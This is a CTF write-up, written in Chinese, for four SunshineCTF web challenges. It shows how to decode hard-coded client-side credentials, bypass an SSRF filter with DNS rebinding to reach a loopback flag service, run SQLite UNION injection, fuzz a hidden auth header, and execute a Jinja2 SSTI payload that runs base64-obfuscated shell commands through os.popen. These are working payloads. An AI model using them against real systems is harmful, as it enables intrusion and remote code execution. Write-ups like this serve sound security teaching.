Lunar Auth

robots.txt:

# tired of these annoying search engine bots scraping the admin panel page logins:

Disallow: /admin

/admin有一段前端登录验证:

<script>
    /*
    To reduce load on our servers from the recent space DDOS-ers we have lowered login attempts by using Base64 encoded encryption
    ("encryption" 💀) on the client side.
    
    TODO: implement proper encryption.
    */
    const real_username = atob("YWxpbXVoYW1tYWRzZWN1cmVk");
    const real_passwd   = atob("UzNjdXI0X1BAJCR3MFJEIQ==");

    document.addEventListener("DOMContentLoaded", () => {
        const form = document.querySelector("form");

        function handleSubmit(evt) {
        evt.preventDefault();

        const username = form.elements["username"].value;
        const password = form.elements["password"].value;

        if (username === real_username && password === real_passwd) {
            // remove this handler and allow form submission
            form.removeEventListener("submit", handleSubmit);
            form.submit();
        } else {
            alert("[ Invalid credentials ]");
        }
        }

        form.addEventListener("submit", handleSubmit);
    });
</script>

解码base64得到usernamepassword分别为alimuhammadsecuredS3cur4_P@$$w0RD!,登录拿到flag:

Mission Control — FLAG
Authorized access confirmed. Presenting mission artifact:

      sun{cl1ent_s1d3_auth_1s_N3V3R_a_g00d_1d3A_983765367890393232}

Intergalactic Webhook Service

app.py:

import threading
from flask import Flask, request, abort, render_template, jsonify
import requests
from urllib.parse import urlparse
from http.server import BaseHTTPRequestHandler, HTTPServer
import socket
import ipaddress
import uuid

def load_flag():
    with open('flag.txt', 'r') as f:
        return f.read().strip()

FLAG = load_flag()

class FlagHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        if self.path == '/flag':
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(FLAG.encode())
        else:
            self.send_response(404)
            self.end_headers()

threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 5001), FlagHandler).serve_forever(), daemon=True).start()

app = Flask(__name__)

registered_webhooks = {}

def create_app():
    return app

@app.route('/')
def index():
    return render_template('index.html')

def is_ip_allowed(url):
    parsed = urlparse(url)
    host = parsed.hostname or ''
    try:
        ip = socket.gethostbyname(host)
    except Exception:
        return False, f'Could not resolve host'
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
        return False, f'IP "{ip}" not allowed'
    return True, None

@app.route('/register', methods=['POST'])
def register_webhook():
    url = request.form.get('url')
    if not url:
        abort(400, 'Missing url parameter')
    allowed, reason = is_ip_allowed(url)
    if not allowed:
        return reason, 400
    webhook_id = str(uuid.uuid4())
    registered_webhooks[webhook_id] = url
    return jsonify({'status': 'registered', 'url': url, 'id': webhook_id}), 200

@app.route('/trigger', methods=['POST'])
def trigger_webhook():
    webhook_id = request.form.get('id')
    if not webhook_id:
        abort(400, 'Missing webhook id')
    url = registered_webhooks.get(webhook_id)
    if not url:
        return jsonify({'error': 'Webhook not found'}), 404
    allowed, reason = is_ip_allowed(url)
    if not allowed:
        return jsonify({'error': reason}), 400
    try:
        resp = requests.post(url, timeout=5, allow_redirects=False)
        return jsonify({'url': url, 'status': resp.status_code, 'response': resp.text}), resp.status_code
    except Exception:
        return jsonify({'url': url, 'error': 'something went wrong'}), 500

if __name__ == '__main__':
    print('listening on port 5000')
    app.run(host='0.0.0.0', port=5000)

5001端口绑定了提供flag的服务,5000端口提供正常的web服务,思路是通过/register路由注册url,再通过/trigger路由打SSRF,但是对于is_ip_allowed对于url的限制很严格,简单来看就是过滤了本地ip,同时/trigger路由不允许重定向,无法使用自己的vps搭建的网页中的恶意javascript进行fetch,利用DNS重绑定来绕过:http://08080808.7f000001.rbndr.us:5001/flag

由于服务器设置的是随机返回第一个或第二个ip,需要多trigger几次:

{"response":"sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}","status":200,"url":"http://08080808.7f000001.rbndr.us:5001/flag"}

参考资料:

https://docs.python.org/zh-cn/3/howto/ipaddress.html

https://lock.cmpxchg8b.com/rebinder.html

Lunar Shop

SQLite注入,注入点为product_id

https://meteor.sunshinectf.games/product?product_id=0%20union%20select%201,2,3,group_concat(tbl_name)%20from%20sqlite_master%20where%20type=%27table%27%20--+

https://meteor.sunshinectf.games/product?product_id=0%20union%20select%201,2,3,flag%20from%20flag%20--+

sun{baby_SQL_injection_this_is_known_as_error_based_SQL_injection_8767289082762892}

Web Forge

robots.txt:

User-agent: *
Disallow: /admin
Disallow: /fetch

# internal SSRF testing tool requires special auth header to be set to 'true'

使用ffuf进行header的fuzz:

ffuf -u https://wormhole.sunshinectf.games/fetch -H "FUZZ: true" -w uppercase-headers.txt -mc 200
ALLOW                   [Status: 200, Size: 5252, Words: 1498, Lines: 210, Duration: 1630ms]

找到了访问/fetch服务的header:ALLOW,置为true,尝试对/admin进行SSRF工具测试:

url=http://127.0.0.1/admin

You're trying to access /admin but forgot the ?template= parameter

猜测是SSTI,但是尝试SSTI检测报错:

url=http://127.0.0.1/admin?template={{7*7}}

HTTPConnectionPool(host='127.0.0.1', port=80): Max retries exceeded with url: /admin?template={{7*7}}
 (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x711fb7667130>: Failed to establish a new connection: [Errno 111] Connection refused')

无法正常连接到服务,猜测不是80端口,利用BurpSuite来爆破出端口8000,常规的SSTI利用无回显,直接上一个能绕过比较多过滤的payload:

url=http://127.0.0.1:8000/admin?template={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('whoami')|attr('read')()}}

但是同样无法执行cat等文件读取的命令,使用base64编解码绕过:

url=http://127.0.0.1:8000/admin?template={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo+Y2F0IGZsYWcudHh0|base64+-d|bash')|attr('read')()}}

sun{h34der_fuzz1ng_4nd_ssti_1s_3asy_bc10bf85cabe7078}

参考资料:

https://onsecurity.io/article/server-side-template-injection-with-jinja2/